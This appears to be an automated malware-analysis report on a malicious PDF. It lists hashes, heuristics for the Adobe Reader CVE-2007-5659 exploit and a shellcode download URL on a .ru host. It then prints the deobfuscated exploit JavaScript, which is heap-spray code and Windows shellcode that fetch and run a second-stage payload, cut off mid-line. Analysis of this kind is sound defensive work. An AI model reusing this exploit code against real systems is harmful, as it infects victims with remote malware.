Malicious PDF — malware analysis report

Static analysis result for SHA-256 46ea54e2089b7c0f…

MALICIOUS

PDF

4.1 KB First seen: 2026-05-11
MD5: d99cf5675e8638180064534332216f12 SHA-1: 490d066a625abed11f71e27ac2218cee6b29c522 SHA-256: 46ea54e2089b7c0f6e5b5c26590b8492ccf3dfe14054d209c9e771ac9a2cafe3
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged as suspicious by a machine learning classifier with a high confidence score. A JavaScript action was detected within the PDF, indicating a potential for malicious code execution. While no specific JavaScript content was extracted, the presence of this action strongly suggests an attempt to exploit a PDF viewer vulnerability or to download and execute a secondary payload.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9996

Heuristics 5

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://pohudieka.ru/els/load.php?spl=pdf_exp Referenced by PDF JavaScript

Related samples 7

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x16E 4018 bytes
SHA-256: 97f2565952509feb15ddbeb3f52e01e1ba7254ad7165dcf94c0ff8d379881458
Detection
ClamAV: Js.Exploit.Shellcode-18
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}yarsp=yarsp.substring(0,len/2);return yarsp;}  function util_printf(){var payload=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u686F%u6475%u6569%u616B%u722E%u2F75%u6C65%u2F73%u6F6C%u6461%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");  var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}  var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}  var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}  var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}  function collab_email(){var shellcode=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u686F%u6475%u6569%u616B%u722E%u2F75%u6C65%u2F73%u6F6C%u6461%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}  var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}  this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}  function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u686F%u6475%u6569%u616B%u722E%u2F75%u6C65%u2F73%u6F6C%u6461%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x

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